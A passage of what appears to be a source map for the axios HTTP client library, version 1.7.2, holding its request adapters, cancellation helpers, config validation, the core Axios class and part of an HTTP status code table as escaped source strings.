contentType.split(';').map(token => token.trim()).filter(Boolean) : [];\n      headers.setContentType([type || 'multipart/form-data', ...tokens].join('; '));\n    }\n  }\n\n  // Add xsrf header\n  // This is only done if running in a standard browser environment.\n  // Specifically not if we're in a web worker, or react-native.\n\n  if (platform.hasStandardBrowserEnv) {\n    withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));\n\n    if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {\n      // Add xsrf header\n      const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);\n\n      if (xsrfValue) {\n        headers.set(xsrfHeaderName, xsrfValue);\n      }\n    }\n  }\n\n  return newConfig;\n}\n\n","import utils from './../utils.js';\nimport settle from './../core/settle.js';\nimport transitionalDefaults from '../defaults/transitional.js';\nimport AxiosError from '../core/AxiosError.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport parseProtocol from '../helpers/parseProtocol.js';\nimport platform from '../platform/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport progressEventReducer from '../helpers/progressEventReducer.js';\nimport resolveConfig from \"../helpers/resolveConfig.js\";\n\nconst isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined';\n\nexport default isXHRAdapterSupported && function (config) {\n  return new Promise(function dispatchXhrRequest(resolve, reject) {\n    const _config = resolveConfig(config);\n    let requestData = _config.data;\n    const requestHeaders = AxiosHeaders.from(_config.headers).normalize();\n    let {responseType} = _config;\n    let onCanceled;\n    function done() {\n      if (_config.cancelToken) {\n        _config.cancelToken.unsubscribe(onCanceled);\n      }\n\n      if (_config.signal) {\n        _config.signal.removeEventListener('abort', onCanceled);\n      }\n    }\n\n    let request = new XMLHttpRequest();\n\n    request.open(_config.method.toUpperCase(), _config.url, true);\n\n    // Set the request timeout in MS\n    request.timeout = _config.timeout;\n\n    function onloadend() {\n      if (!request) {\n        return;\n      }\n      // Prepare the response\n      const responseHeaders = AxiosHeaders.from(\n        'getAllResponseHeaders' in request && request.getAllResponseHeaders()\n      );\n      const responseData = !responseType || responseType === 'text' || responseType === 'json' ?\n        request.responseText : request.response;\n      const response = {\n        data: responseData,\n        status: request.status,\n        statusText: request.statusText,\n        headers: responseHeaders,\n        config,\n        request\n      };\n\n      settle(function _resolve(value) {\n        resolve(value);\n        done();\n      }, function _reject(err) {\n        reject(err);\n        done();\n      }, response);\n\n      // Clean up request\n      request = null;\n    }\n\n    if ('onloadend' in request) {\n      // Use onloadend if available\n      request.onloadend = onloadend;\n    } else {\n      // Listen for ready state to emulate onloadend\n      request.onreadystatechange = function handleLoad() {\n        if (!request || request.readyState !== 4) {\n          return;\n        }\n\n        // The request errored out and we didn't get a response, this will be\n        // handled by onerror instead\n        // With one exception: request that using file: protocol, most browsers\n        // will return status as 0 even though it's a successful request\n        if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {\n          return;\n        }\n        // readystate handler is calling before onerror or ontimeout handlers,\n        // so we should call onloadend on the next 'tick'\n        setTimeout(onloadend);\n      };\n    }\n\n    // Handle browser request cancellation (as opposed to a manual cancellation)\n    request.onabort = function handleAbort() {\n      if (!request) {\n        return;\n      }\n\n      reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, _config, request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Handle low level network errors\n    request.onerror = function handleError() {\n      // Real errors are hidden from us by the browser\n      // onerror should only fire if it's a network error\n      reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, _config, request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Handle timeout\n    request.ontimeout = function handleTimeout() {\n      let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded';\n      const transitional = _config.transitional || transitionalDefaults;\n      if (_config.timeoutErrorMessage) {\n        timeoutErrorMessage = _config.timeoutErrorMessage;\n      }\n      reject(new AxiosError(\n        timeoutErrorMessage,\n        transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,\n        _config,\n        request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Remove Content-Type if data is undefined\n    requestData === undefined && requestHeaders.setContentType(null);\n\n    // Add headers to the request\n    if ('setRequestHeader' in request) {\n      utils.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) {\n        request.setRequestHeader(key, val);\n      });\n    }\n\n    // Add withCredentials to request if needed\n    if (!utils.isUndefined(_config.withCredentials)) {\n      request.withCredentials = !!_config.withCredentials;\n    }\n\n    // Add responseType to request if needed\n    if (responseType && responseType !== 'json') {\n      request.responseType = _config.responseType;\n    }\n\n    // Handle progress if needed\n    if (typeof _config.onDownloadProgress === 'function') {\n      request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true));\n    }\n\n    // Not all browsers support upload events\n    if (typeof _config.onUploadProgress === 'function' && request.upload) {\n      request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress));\n    }\n\n    if (_config.cancelToken || _config.signal) {\n      // Handle cancellation\n      // eslint-disable-next-line func-names\n      onCanceled = cancel => {\n        if (!request) {\n          return;\n        }\n        reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel);\n        request.abort();\n        request = null;\n      };\n\n      _config.cancelToken && _config.cancelToken.subscribe(onCanceled);\n      if (_config.signal) {\n        _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled);\n      }\n    }\n\n    const protocol = parseProtocol(_config.url);\n\n    if (protocol && platform.protocols.indexOf(protocol) === -1) {\n      reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config));\n      return;\n    }\n\n\n    // Send the request\n    request.send(requestData || null);\n  });\n}\n","import CanceledError from \"../cancel/CanceledError.js\";\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst composeSignals = (signals, timeout) => {\n  let controller = new AbortController();\n\n  let aborted;\n\n  const onabort = function (cancel) {\n    if (!aborted) {\n      aborted = true;\n      unsubscribe();\n      const err = cancel instanceof Error ? cancel : this.reason;\n      controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err));\n    }\n  }\n\n  let timer = timeout && setTimeout(() => {\n    onabort(new AxiosError(`timeout ${timeout} of ms exceeded`, AxiosError.ETIMEDOUT))\n  }, timeout)\n\n  const unsubscribe = () => {\n    if (signals) {\n      timer && clearTimeout(timer);\n      timer = null;\n      signals.forEach(signal => {\n        signal &&\n        (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort));\n      });\n      signals = null;\n    }\n  }\n\n  signals.forEach((signal) => signal && signal.addEventListener && signal.addEventListener('abort', onabort));\n\n  const {signal} = controller;\n\n  signal.unsubscribe = unsubscribe;\n\n  return [signal, () => {\n    timer && clearTimeout(timer);\n    timer = null;\n  }];\n}\n\nexport default composeSignals;\n","\n\nexport const streamChunk = function* (chunk, chunkSize) {\n  let len = chunk.byteLength;\n\n  if (!chunkSize || len < chunkSize) {\n    yield chunk;\n    return;\n  }\n\n  let pos = 0;\n  let end;\n\n  while (pos < len) {\n    end = pos + chunkSize;\n    yield chunk.slice(pos, end);\n    pos = end;\n  }\n}\n\nexport const readBytes = async function* (iterable, chunkSize, encode) {\n  for await (const chunk of iterable) {\n    yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : (await encode(String(chunk))), chunkSize);\n  }\n}\n\nexport const trackStream = (stream, chunkSize, onProgress, onFinish, encode) => {\n  const iterator = readBytes(stream, chunkSize, encode);\n\n  let bytes = 0;\n\n  return new ReadableStream({\n    type: 'bytes',\n\n    async pull(controller) {\n      const {done, value} = await iterator.next();\n\n      if (done) {\n        controller.close();\n        onFinish();\n        return;\n      }\n\n      let len = value.byteLength;\n      onProgress && onProgress(bytes += len);\n      controller.enqueue(new Uint8Array(value));\n    },\n    cancel(reason) {\n      onFinish(reason);\n      return iterator.return();\n    }\n  }, {\n    highWaterMark: 2\n  })\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport AxiosError from \"../core/AxiosError.js\";\nimport composeSignals from \"../helpers/composeSignals.js\";\nimport {trackStream} from \"../helpers/trackStream.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport progressEventReducer from \"../helpers/progressEventReducer.js\";\nimport resolveConfig from \"../helpers/resolveConfig.js\";\nimport settle from \"../core/settle.js\";\n\nconst fetchProgressDecorator = (total, fn) => {\n  const lengthComputable = total != null;\n  return (loaded) => setTimeout(() => fn({\n    lengthComputable,\n    total,\n    loaded\n  }));\n}\n\nconst isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function';\nconst isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function';\n\n// used only inside the fetch adapter\nconst encodeText = isFetchSupported && (typeof TextEncoder === 'function' ?\n    ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) :\n    async (str) => new Uint8Array(await new Response(str).arrayBuffer())\n);\n\nconst supportsRequestStream = isReadableStreamSupported && (() => {\n  let duplexAccessed = false;\n\n  const hasContentType = new Request(platform.origin, {\n    body: new ReadableStream(),\n    method: 'POST',\n    get duplex() {\n      duplexAccessed = true;\n      return 'half';\n    },\n  }).headers.has('Content-Type');\n\n  return duplexAccessed && !hasContentType;\n})();\n\nconst DEFAULT_CHUNK_SIZE = 64 * 1024;\n\nconst supportsResponseStream = isReadableStreamSupported && !!(()=> {\n  try {\n    return utils.isReadableStream(new Response('').body);\n  } catch(err) {\n    // return undefined\n  }\n})();\n\nconst resolvers = {\n  stream: supportsResponseStream && ((res) => res.body)\n};\n\nisFetchSupported && (((res) => {\n  ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => {\n    !resolvers[type] && (resolvers[type] = utils.isFunction(res[type]) ? (res) => res[type]() :\n      (_, config) => {\n        throw new AxiosError(`Response type '${type}' is not supported`, AxiosError.ERR_NOT_SUPPORT, config);\n      })\n  });\n})(new Response));\n\nconst getBodyLength = async (body) => {\n  if (body == null) {\n    return 0;\n  }\n\n  if(utils.isBlob(body)) {\n    return body.size;\n  }\n\n  if(utils.isSpecCompliantForm(body)) {\n    return (await new Request(body).arrayBuffer()).byteLength;\n  }\n\n  if(utils.isArrayBufferView(body)) {\n    return body.byteLength;\n  }\n\n  if(utils.isURLSearchParams(body)) {\n    body = body + '';\n  }\n\n  if(utils.isString(body)) {\n    return (await encodeText(body)).byteLength;\n  }\n}\n\nconst resolveBodyLength = async (headers, body) => {\n  const length = utils.toFiniteNumber(headers.getContentLength());\n\n  return length == null ? getBodyLength(body) : length;\n}\n\nexport default isFetchSupported && (async (config) => {\n  let {\n    url,\n    method,\n    data,\n    signal,\n    cancelToken,\n    timeout,\n    onDownloadProgress,\n    onUploadProgress,\n    responseType,\n    headers,\n    withCredentials = 'same-origin',\n    fetchOptions\n  } = resolveConfig(config);\n\n  responseType = responseType ? (responseType + '').toLowerCase() : 'text';\n\n  let [composedSignal, stopTimeout] = (signal || cancelToken || timeout) ?\n    composeSignals([signal, cancelToken], timeout) : [];\n\n  let finished, request;\n\n  const onFinish = () => {\n    !finished && setTimeout(() => {\n      composedSignal && composedSignal.unsubscribe();\n    });\n\n    finished = true;\n  }\n\n  let requestContentLength;\n\n  try {\n    if (\n      onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' &&\n      (requestContentLength = await resolveBodyLength(headers, data)) !== 0\n    ) {\n      let _request = new Request(url, {\n        method: 'POST',\n        body: data,\n        duplex: \"half\"\n      });\n\n      let contentTypeHeader;\n\n      if (utils.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) {\n        headers.setContentType(contentTypeHeader)\n      }\n\n      if (_request.body) {\n        data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator(\n          requestContentLength,\n          progressEventReducer(onUploadProgress)\n        ), null, encodeText);\n      }\n    }\n\n    if (!utils.isString(withCredentials)) {\n      withCredentials = withCredentials ? 'cors' : 'omit';\n    }\n\n    request = new Request(url, {\n      ...fetchOptions,\n      signal: composedSignal,\n      method: method.toUpperCase(),\n      headers: headers.normalize().toJSON(),\n      body: data,\n      duplex: \"half\",\n      withCredentials\n    });\n\n    let response = await fetch(request);\n\n    const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response');\n\n    if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) {\n      const options = {};\n\n      ['status', 'statusText', 'headers'].forEach(prop => {\n        options[prop] = response[prop];\n      });\n\n      const responseContentLength = utils.toFiniteNumber(response.headers.get('content-length'));\n\n      response = new Response(\n        trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator(\n          responseContentLength,\n          progressEventReducer(onDownloadProgress, true)\n        ), isStreamResponse && onFinish, encodeText),\n        options\n      );\n    }\n\n    responseType = responseType || 'text';\n\n    let responseData = await resolvers[utils.findKey(resolvers, responseType) || 'text'](response, config);\n\n    !isStreamResponse && onFinish();\n\n    stopTimeout && stopTimeout();\n\n    return await new Promise((resolve, reject) => {\n      settle(resolve, reject, {\n        data: responseData,\n        headers: AxiosHeaders.from(response.headers),\n        status: response.status,\n        statusText: response.statusText,\n        config,\n        request\n      })\n    })\n  } catch (err) {\n    onFinish();\n\n    if (err && err.name === 'TypeError' && /fetch/i.test(err.message)) {\n      throw Object.assign(\n        new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request),\n        {\n          cause: err.cause || err\n        }\n      )\n    }\n\n    throw AxiosError.from(err, err && err.code, config, request);\n  }\n});\n\n\n","import utils from '../utils.js';\nimport httpAdapter from './http.js';\nimport xhrAdapter from './xhr.js';\nimport fetchAdapter from './fetch.js';\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst knownAdapters = {\n  http: httpAdapter,\n  xhr: xhrAdapter,\n  fetch: fetchAdapter\n}\n\nutils.forEach(knownAdapters, (fn, value) => {\n  if (fn) {\n    try {\n      Object.defineProperty(fn, 'name', {value});\n    } catch (e) {\n      // eslint-disable-next-line no-empty\n    }\n    Object.defineProperty(fn, 'adapterName', {value});\n  }\n});\n\nconst renderReason = (reason) => `- ${reason}`;\n\nconst isResolvedHandle = (adapter) => utils.isFunction(adapter) || adapter === null || adapter === false;\n\nexport default {\n  getAdapter: (adapters) => {\n    adapters = utils.isArray(adapters) ? adapters : [adapters];\n\n    const {length} = adapters;\n    let nameOrAdapter;\n    let adapter;\n\n    const rejectedReasons = {};\n\n    for (let i = 0; i < length; i++) {\n      nameOrAdapter = adapters[i];\n      let id;\n\n      adapter = nameOrAdapter;\n\n      if (!isResolvedHandle(nameOrAdapter)) {\n        adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()];\n\n        if (adapter === undefined) {\n          throw new AxiosError(`Unknown adapter '${id}'`);\n        }\n      }\n\n      if (adapter) {\n        break;\n      }\n\n      rejectedReasons[id || '#' + i] = adapter;\n    }\n\n    if (!adapter) {\n\n      const reasons = Object.entries(rejectedReasons)\n        .map(([id, state]) => `adapter ${id} ` +\n          (state === false ? 'is not supported by the environment' : 'is not available in the build')\n        );\n\n      let s = length ?\n        (reasons.length > 1 ? 'since :\\n' + reasons.map(renderReason).join('\\n') : ' ' + renderReason(reasons[0])) :\n        'as no adapter specified';\n\n      throw new AxiosError(\n        `There is no suitable adapter to dispatch the request ` + s,\n        'ERR_NOT_SUPPORT'\n      );\n    }\n\n    return adapter;\n  },\n  adapters: knownAdapters\n}\n","'use strict';\n\nimport transformData from './transformData.js';\nimport isCancel from '../cancel/isCancel.js';\nimport defaults from '../defaults/index.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport adapters from \"../adapters/adapters.js\";\n\n/**\n * Throws a `CanceledError` if cancellation has been requested.\n *\n * @param {Object} config The config that is to be used for the request\n *\n * @returns {void}\n */\nfunction throwIfCancellationRequested(config) {\n  if (config.cancelToken) {\n    config.cancelToken.throwIfRequested();\n  }\n\n  if (config.signal && config.signal.aborted) {\n    throw new CanceledError(null, config);\n  }\n}\n\n/**\n * Dispatch a request to the server using the configured adapter.\n *\n * @param {object} config The config that is to be used for the request\n *\n * @returns {Promise} The Promise to be fulfilled\n */\nexport default function dispatchRequest(config) {\n  throwIfCancellationRequested(config);\n\n  config.headers = AxiosHeaders.from(config.headers);\n\n  // Transform request data\n  config.data = transformData.call(\n    config,\n    config.transformRequest\n  );\n\n  if (['post', 'put', 'patch'].indexOf(config.method) !== -1) {\n    config.headers.setContentType('application/x-www-form-urlencoded', false);\n  }\n\n  const adapter = adapters.getAdapter(config.adapter || defaults.adapter);\n\n  return adapter(config).then(function onAdapterResolution(response) {\n    throwIfCancellationRequested(config);\n\n    // Transform response data\n    response.data = transformData.call(\n      config,\n      config.transformResponse,\n      response\n    );\n\n    response.headers = AxiosHeaders.from(response.headers);\n\n    return response;\n  }, function onAdapterRejection(reason) {\n    if (!isCancel(reason)) {\n      throwIfCancellationRequested(config);\n\n      // Transform response data\n      if (reason && reason.response) {\n        reason.response.data = transformData.call(\n          config,\n          config.transformResponse,\n          reason.response\n        );\n        reason.response.headers = AxiosHeaders.from(reason.response.headers);\n      }\n    }\n\n    return Promise.reject(reason);\n  });\n}\n","export const VERSION = \"1.7.2\";","'use strict';\n\nimport {VERSION} from '../env/data.js';\nimport AxiosError from '../core/AxiosError.js';\n\nconst validators = {};\n\n// eslint-disable-next-line func-names\n['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => {\n  validators[type] = function validator(thing) {\n    return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type;\n  };\n});\n\nconst deprecatedWarnings = {};\n\n/**\n * Transitional option validator\n *\n * @param {function|boolean?} validator - set to false if the transitional option has been removed\n * @param {string?} version - deprecated version / removed since version\n * @param {string?} message - some message with additional info\n *\n * @returns {function}\n */\nvalidators.transitional = function transitional(validator, version, message) {\n  function formatMessage(opt, desc) {\n    return '[Axios v' + VERSION + '] Transitional option \\'' + opt + '\\'' + desc + (message ? '. ' + message : '');\n  }\n\n  // eslint-disable-next-line func-names\n  return (value, opt, opts) => {\n    if (validator === false) {\n      throw new AxiosError(\n        formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')),\n        AxiosError.ERR_DEPRECATED\n      );\n    }\n\n    if (version && !deprecatedWarnings[opt]) {\n      deprecatedWarnings[opt] = true;\n      // eslint-disable-next-line no-console\n      console.warn(\n        formatMessage(\n          opt,\n          ' has been deprecated since v' + version + ' and will be removed in the near future'\n        )\n      );\n    }\n\n    return validator ? validator(value, opt, opts) : true;\n  };\n};\n\n/**\n * Assert object's properties type\n *\n * @param {object} options\n * @param {object} schema\n * @param {boolean?} allowUnknown\n *\n * @returns {object}\n */\n\nfunction assertOptions(options, schema, allowUnknown) {\n  if (typeof options !== 'object') {\n    throw new AxiosError('options must be an object', AxiosError.ERR_BAD_OPTION_VALUE);\n  }\n  const keys = Object.keys(options);\n  let i = keys.length;\n  while (i-- > 0) {\n    const opt = keys[i];\n    const validator = schema[opt];\n    if (validator) {\n      const value = options[opt];\n      const result = value === undefined || validator(value, opt, options);\n      if (result !== true) {\n        throw new AxiosError('option ' + opt + ' must be ' + result, AxiosError.ERR_BAD_OPTION_VALUE);\n      }\n      continue;\n    }\n    if (allowUnknown !== true) {\n      throw new AxiosError('Unknown option ' + opt, AxiosError.ERR_BAD_OPTION);\n    }\n  }\n}\n\nexport default {\n  assertOptions,\n  validators\n};\n","'use strict';\n\nimport utils from './../utils.js';\nimport buildURL from '../helpers/buildURL.js';\nimport InterceptorManager from './InterceptorManager.js';\nimport dispatchRequest from './dispatchRequest.js';\nimport mergeConfig from './mergeConfig.js';\nimport buildFullPath from './buildFullPath.js';\nimport validator from '../helpers/validator.js';\nimport AxiosHeaders from './AxiosHeaders.js';\n\nconst validators = validator.validators;\n\n/**\n * Create a new instance of Axios\n *\n * @param {Object} instanceConfig The default config for the instance\n *\n * @return {Axios} A new instance of Axios\n */\nclass Axios {\n  constructor(instanceConfig) {\n    this.defaults = instanceConfig;\n    this.interceptors = {\n      request: new InterceptorManager(),\n      response: new InterceptorManager()\n    };\n  }\n\n  /**\n   * Dispatch a request\n   *\n   * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults)\n   * @param {?Object} config\n   *\n   * @returns {Promise} The Promise to be fulfilled\n   */\n  async request(configOrUrl, config) {\n    try {\n      return await this._request(configOrUrl, config);\n    } catch (err) {\n      if (err instanceof Error) {\n        let dummy;\n\n        Error.captureStackTrace ? Error.captureStackTrace(dummy = {}) : (dummy = new Error());\n\n        // slice off the Error: ... line\n        const stack = dummy.stack ? dummy.stack.replace(/^.+\\n/, '') : '';\n        try {\n          if (!err.stack) {\n            err.stack = stack;\n            // match without the 2 top stack lines\n          } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\\n.+\\n/, ''))) {\n            err.stack += '\\n' + stack\n          }\n        } catch (e) {\n          // ignore the case where \"stack\" is an un-writable property\n        }\n      }\n\n      throw err;\n    }\n  }\n\n  _request(configOrUrl, config) {\n    /*eslint no-param-reassign:0*/\n    // Allow for axios('example/url'[, config]) a la fetch API\n    if (typeof configOrUrl === 'string') {\n      config = config || {};\n      config.url = configOrUrl;\n    } else {\n      config = configOrUrl || {};\n    }\n\n    config = mergeConfig(this.defaults, config);\n\n    const {transitional, paramsSerializer, headers} = config;\n\n    if (transitional !== undefined) {\n      validator.assertOptions(transitional, {\n        silentJSONParsing: validators.transitional(validators.boolean),\n        forcedJSONParsing: validators.transitional(validators.boolean),\n        clarifyTimeoutError: validators.transitional(validators.boolean)\n      }, false);\n    }\n\n    if (paramsSerializer != null) {\n      if (utils.isFunction(paramsSerializer)) {\n        config.paramsSerializer = {\n          serialize: paramsSerializer\n        }\n      } else {\n        validator.assertOptions(paramsSerializer, {\n          encode: validators.function,\n          serialize: validators.function\n        }, true);\n      }\n    }\n\n    // Set config.method\n    config.method = (config.method || this.defaults.method || 'get').toLowerCase();\n\n    // Flatten headers\n    let contextHeaders = headers && utils.merge(\n      headers.common,\n      headers[config.method]\n    );\n\n    headers && utils.forEach(\n      ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'],\n      (method) => {\n        delete headers[method];\n      }\n    );\n\n    config.headers = AxiosHeaders.concat(contextHeaders, headers);\n\n    // filter out skipped interceptors\n    const requestInterceptorChain = [];\n    let synchronousRequestInterceptors = true;\n    this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {\n      if (typeof interceptor.runWhen === 'function' && interceptor.runWhen(config) === false) {\n        return;\n      }\n\n      synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous;\n\n      requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected);\n    });\n\n    const responseInterceptorChain = [];\n    this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {\n      responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected);\n    });\n\n    let promise;\n    let i = 0;\n    let len;\n\n    if (!synchronousRequestInterceptors) {\n      const chain = [dispatchRequest.bind(this), undefined];\n      chain.unshift.apply(chain, requestInterceptorChain);\n      chain.push.apply(chain, responseInterceptorChain);\n      len = chain.length;\n\n      promise = Promise.resolve(config);\n\n      while (i < len) {\n        promise = promise.then(chain[i++], chain[i++]);\n      }\n\n      return promise;\n    }\n\n    len = requestInterceptorChain.length;\n\n    let newConfig = config;\n\n    i = 0;\n\n    while (i < len) {\n      const onFulfilled = requestInterceptorChain[i++];\n      const onRejected = requestInterceptorChain[i++];\n      try {\n        newConfig = onFulfilled(newConfig);\n      } catch (error) {\n        onRejected.call(this, error);\n        break;\n      }\n    }\n\n    try {\n      promise = dispatchRequest.call(this, newConfig);\n    } catch (error) {\n      return Promise.reject(error);\n    }\n\n    i = 0;\n    len = responseInterceptorChain.length;\n\n    while (i < len) {\n      promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]);\n    }\n\n    return promise;\n  }\n\n  getUri(config) {\n    config = mergeConfig(this.defaults, config);\n    const fullPath = buildFullPath(config.baseURL, config.url);\n    return buildURL(fullPath, config.params, config.paramsSerializer);\n  }\n}\n\n// Provide aliases for supported request methods\nutils.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) {\n  /*eslint func-names:0*/\n  Axios.prototype[method] = function(url, config) {\n    return this.request(mergeConfig(config || {}, {\n      method,\n      url,\n      data: (config || {}).data\n    }));\n  };\n});\n\nutils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {\n  /*eslint func-names:0*/\n\n  function generateHTTPMethod(isForm) {\n    return function httpMethod(url, data, config) {\n      return this.request(mergeConfig(config || {}, {\n        method,\n        headers: isForm ? {\n          'Content-Type': 'multipart/form-data'\n        } : {},\n        url,\n        data\n      }));\n    };\n  }\n\n  Axios.prototype[method] = generateHTTPMethod();\n\n  Axios.prototype[method + 'Form'] = generateHTTPMethod(true);\n});\n\nexport default Axios;\n","'use strict';\n\nimport CanceledError from './CanceledError.js';\n\n/**\n * A `CancelToken` is an object that can be used to request cancellation of an operation.\n *\n * @param {Function} executor The executor function.\n *\n * @returns {CancelToken}\n */\nclass CancelToken {\n  constructor(executor) {\n    if (typeof executor !== 'function') {\n      throw new TypeError('executor must be a function.');\n    }\n\n    let resolvePromise;\n\n    this.promise = new Promise(function promiseExecutor(resolve) {\n      resolvePromise = resolve;\n    });\n\n    const token = this;\n\n    // eslint-disable-next-line func-names\n    this.promise.then(cancel => {\n      if (!token._listeners) return;\n\n      let i = token._listeners.length;\n\n      while (i-- > 0) {\n        token._listeners[i](cancel);\n      }\n      token._listeners = null;\n    });\n\n    // eslint-disable-next-line func-names\n    this.promise.then = onfulfilled => {\n      let _resolve;\n      // eslint-disable-next-line func-names\n      const promise = new Promise(resolve => {\n        token.subscribe(resolve);\n        _resolve = resolve;\n      }).then(onfulfilled);\n\n      promise.cancel = function reject() {\n        token.unsubscribe(_resolve);\n      };\n\n      return promise;\n    };\n\n    executor(function cancel(message, config, request) {\n      if (token.reason) {\n        // Cancellation has already been requested\n        return;\n      }\n\n      token.reason = new CanceledError(message, config, request);\n      resolvePromise(token.reason);\n    });\n  }\n\n  /**\n   * Throws a `CanceledError` if cancellation has been requested.\n   */\n  throwIfRequested() {\n    if (this.reason) {\n      throw this.reason;\n    }\n  }\n\n  /**\n   * Subscribe to the cancel signal\n   */\n\n  subscribe(listener) {\n    if (this.reason) {\n      listener(this.reason);\n      return;\n    }\n\n    if (this._listeners) {\n      this._listeners.push(listener);\n    } else {\n      this._listeners = [listener];\n    }\n  }\n\n  /**\n   * Unsubscribe from the cancel signal\n   */\n\n  unsubscribe(listener) {\n    if (!this._listeners) {\n      return;\n    }\n    const index = this._listeners.indexOf(listener);\n    if (index !== -1) {\n      this._listeners.splice(index, 1);\n    }\n  }\n\n  /**\n   * Returns an object that contains a new `CancelToken` and a function that, when called,\n   * cancels the `CancelToken`.\n   */\n  static source() {\n    let cancel;\n    const token = new CancelToken(function executor(c) {\n      cancel = c;\n    });\n    return {\n      token,\n      cancel\n    };\n  }\n}\n\nexport default CancelToken;\n","'use strict';\n\n/**\n * Syntactic sugar for invoking a function and expanding an array for arguments.\n *\n * Common use case would be to use `Function.prototype.apply`.\n *\n *  ```js\n *  function f(x, y, z) {}\n *  var args = [1, 2, 3];\n *  f.apply(null, args);\n *  ```\n *\n * With `spread` this example can be re-written.\n *\n *  ```js\n *  spread(function(x, y, z) {})([1, 2, 3]);\n *  ```\n *\n * @param {Function} callback\n *\n * @returns {Function}\n */\nexport default function spread(callback) {\n  return function wrap(arr) {\n    return callback.apply(null, arr);\n  };\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\n/**\n * Determines whether the payload is an error thrown by Axios\n *\n * @param {*} payload The value to test\n *\n * @returns {boolean} True if the payload is an error thrown by Axios, otherwise false\n */\nexport default function isAxiosError(payload) {\n  return utils.isObject(payload) && (payload.isAxiosError === true);\n}\n","const HttpStatusCode = {\n  Continue: 100,\n  SwitchingProtocols: 101,\n  Processing: 102,\n  EarlyHints: 103,\n  Ok: 200,\n  Created: 201,\n  Accepted: 202,\n  NonAuthoritativeInformation: 203,\n  NoContent: 204,\n  ResetContent: 205,\n  PartialContent: 206,\n  MultiStatus: 207,\n  AlreadyReported: 208,\n  ImUsed: 226,\n  MultipleChoices: 300,\n  MovedPermanently: 301,\n  Found: 302,\n  SeeOther: 303,\n  NotModified: 304,\n  UseProxy: 305,\n  Unused: 306,\n  TemporaryRedirect: 307,\n  PermanentRedirect: 308,\n  BadRequest: 400,\n  Unauthorized: 401,\n  PaymentRequired: 402,\n  Forbidden: 403,\n  NotFound: 404,\n  MethodNotAllowed: 405,\n  NotAcceptable: 406,\n  ProxyAuthenticationRequired: 407,\n  RequestTimeout: 408,\n  Conflict: 409,\n  Gone: 410,\n  LengthRequired: 411,\n  PreconditionFailed: 412,\n  PayloadTooLarge: 413,\n  UriTooLong: 414,\n  UnsupportedMediaType: 415,\n  RangeNotSatisfiable: 416,\n  ExpectationFailed: 417,\n  ImATeapot: 418,\n  MisdirectedRequest: 421,\n  UnprocessableEntity: 422,\n  Locked: 423,\n  FailedDependency: 424,\n  TooEarly: 425,\n  UpgradeRequired: 426,\n  PreconditionRequired: 428,\n  TooManyRequests: 429,\n  RequestHeaderFieldsTooLarge: 431,\n  UnavailableForLegalReasons: 451,\n  InternalServerError: 500,\n  NotImplemented: 501,\n  BadGateway: 502,\n  ServiceUnavailable: 503,\n  GatewayTimeout: 504,\n  HttpVersionNotSupported: 505,\n  VariantAlsoNegotiates: 506,\n  InsufficientStorage: 507,\n  LoopDetected: 508,\n  NotExtended: 510,\n  NetworkAuthenticationRequired: 511,\n};\n\nObject.entries(HttpStatusCode).forEach(([key, 